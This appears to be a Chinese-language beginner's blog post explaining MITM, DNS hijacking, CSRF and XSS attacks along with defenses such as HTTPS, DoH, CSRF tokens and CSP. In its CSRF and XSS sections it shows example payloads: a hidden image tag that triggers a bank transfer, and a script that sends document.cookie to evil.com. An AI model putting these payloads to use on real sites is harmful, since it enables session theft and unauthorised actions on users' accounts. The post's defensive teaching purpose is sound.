你写的网站安全吗?这四个攻击方式正在悄悄盯上你

面试导航 是一个专注于前、后端技术学习和面试准备的 免费 学习平台,提供系统化的技术栈学习,深入讲解每个知识点的核心原理,帮助开发者构建全面的技术体系。平台还收录了大量真实的校招与社招面经,帮助你快速掌握面试技巧,提升求职竞争力。如果你想加入我们的交流群,欢迎通过微信联系:yunmz777

🔐 Web 安全必知四大攻击:MITM、DNS 劫持、CSRF 和 XSS 通俗详解

在互联网开发中,无论你是前端、后端还是运维工程师,Web 安全都是绕不开的话题。今天我们来通俗地了解四种最常见、最致命的网络攻击方式:中间人攻击(MITM)、DNS 劫持、跨站请求伪造(CSRF)、跨站脚本攻击(XSS)。

🕵️‍♂️ 1. 中间人攻击(MITM:Man-In-The-Middle)

📌 什么是中间人攻击?

简单来说,中间人攻击就是有人"偷偷坐在你和服务器之间",偷听你们的对话,甚至冒充你们俩互相交流。你以为你在和银行网站交流,其实你把账号密码都告诉了攻击者。

🎯 举个例子:

你在机场连上了免费 Wi-Fi,输入了 https://bank.com 登录界面,但这个 Wi-Fi 被黑客控制了。他在你和银行之间建立了"假连接",把你输的账号密码全部截获下来,甚至还能伪造银行的回复。

🔍 攻击过程简化为三步:

  1. 你访问一个网站,攻击者截获了请求
  2. 他把请求转发给真正的服务器
  3. 再把服务器的响应转回来,中间数据全被他看到或修改

🛡️ 如何防范?

方法 解释
使用 HTTPS 所有通信加密,别人看不到内容
浏览器 HSTS 强制网站始终用 HTTPS
谨慎使用公共 Wi-Fi 尤其不要在其中登录重要账号
检查证书 如果浏览器提示"连接不安全",千万别继续访问

🌐 2. DNS 劫持(DNS Hijacking)

📌 什么是 DNS?

DNS(Domain Name System)就像互联网的电话簿:你输入 google.com,它会告诉你这个域名对应哪个 IP 地址,浏览器再根据 IP 去找服务器。

😈 那什么是 DNS 劫持?

攻击者篡改了这份"电话簿",让你以为你访问的是官网,其实你访问的是钓鱼网站。页面长得一模一样,但你一输入密码就完了。

🎯 举个例子:

你打开 taobao.com,DNS 本该告诉你"去 123.123.123.123(淘宝服务器)",但被劫持后告诉你"去 111.111.111.111(攻击者服务器)",你打开的是假淘宝,输入的信息全被窃取。

📌 常见的劫持方式:

  • 修改本地 hosts 文件
  • 家庭路由器被篡改 DNS 设置
  • 攻击公共 DNS 缓存服务器

🛡️ 如何防范?

方法 描述
使用可信 DNS 如 Google(8.8.8.8)或 Cloudflare(1.1.1.1)
启用 DoH / DoT DNS over HTTPS/TLS,DNS 查询也加密
使用 HTTPS 即使 DNS 被劫持,也难篡改实际数据
路由器设置密码 防止他人远程更改设置

🎯 3. CSRF(跨站请求伪造)

📌 它是什么?

CSRF 是攻击者借你的"身份"发请求。你自己没做什么,但服务器以为你发了请求,结果就中了招。

🎯 举个简单例子:

你登录了银行网站(银行已经给你发了登录 cookie),然后你去看一个"神秘网站"的视频。这个网站偷偷发了一个请求:

html 复制代码
<img src="https://bank.com/transfer?to=attacker&amount=1000" />

你根本不知道有这个请求,但浏览器会自动带上你的 cookie,银行以为你主动转账。

🧨 为什么危险?

  • 所有自动带 cookie 的请求都可能成为攻击工具
  • 不需要你手动操作,只要你打开恶意网站就中招

🛡️ 如何防范?

方法 说明
CSRF Token 每次请求时加一个后端生成的 token,攻击者拿不到
SameSite Cookie 限制 cookie 的跨站使用
验证来源 后端校验请求的 Referer 或 Origin
重要操作用 POST 避免 GET 修改重要数据

💥 4. XSS(跨站脚本攻击)

📌 它是什么?

XSS 是攻击者往网页里插入 JavaScript 脚本,比如你看一条评论,它偷偷执行了一段 JS,然后把你 cookie 传给黑客。

🎯 例子场景:

你在论坛里看到一条评论:"欢迎访问我的网站",点击进去网页瞬间弹窗。这其实是:

html 复制代码
<script>
  fetch("http://evil.com?cookie=" + document.cookie);
</script>

攻击者就能窃取你的登录状态、token 等。

📌 XSS 三种类型:

类型 特点 举例
存储型 服务端存储,反复攻击 评论系统
反射型 URL 中传参 搜索页、错误页
DOM 型 前端拼接 HTML 出现漏洞 innerHTMLdocument.write()

🛡️ 如何防范?

方法 说明
所有用户输入都要过滤 不允许 <script>onerror 等危险字符
输出前转义 用 HTML 转义将代码当文本输出
设置 CSP 策略 限制 JS 加载来源
前端开发规范 避免使用 dangerouslySetInnerHTMLv-html 等危险 API

🧠 总结一张图,记住它们的区别

类型 攻击方式 危害 防御策略
MITM 拦截通信 数据泄露 HTTPS + HSTS
DNS 劫持 篡改 DNS 指向 访问钓鱼站 安全 DNS + DoH
CSRF 冒充用户发请求 账户被操作 Token + SameSite
XSS 插入 JS 脚本 窃取信息 输入过滤 + CSP

📢 最后一句话总结:

XSS 窃数据、CSRF 窃身份、MITM 监听内容、DNS 劫持方向。

相关推荐
bobz9658 分钟前
cirros 慢的原因 checking http://169.254.169.254
后端
祺简14 分钟前
CSS--background-repeat详解
前端·css
烛阴16 分钟前
从零打造属于你的Python容器类型:全流程图解+实战案例
前端·python
shangjg324 分钟前
Kafka 如何保证不重复消费
java·分布式·后端·kafka
blues_C32 分钟前
十一、【核心功能篇】测试用例管理:设计用例新增&编辑界面
前端·vue.js·测试用例·element plus·测试平台
无处不在的海贼33 分钟前
小明的Java面试奇遇之互联网保险系统架构与性能优化
java·面试·架构
前端snow40 分钟前
用cursor写一个微信小程序-购物网站实操
前端·javascript·后端
Mylvzi1 小时前
Spring Boot 中 @RequestParam 和 @RequestPart 的区别详解(含实际项目案例)
java·spring boot·后端
书语时1 小时前
ES6 深克隆与浅克隆详解:原理、实现与应用场景
前端·javascript·es6
Magnum Lehar1 小时前
vulkan游戏引擎的核心交换链swapchain实现
java·前端·游戏引擎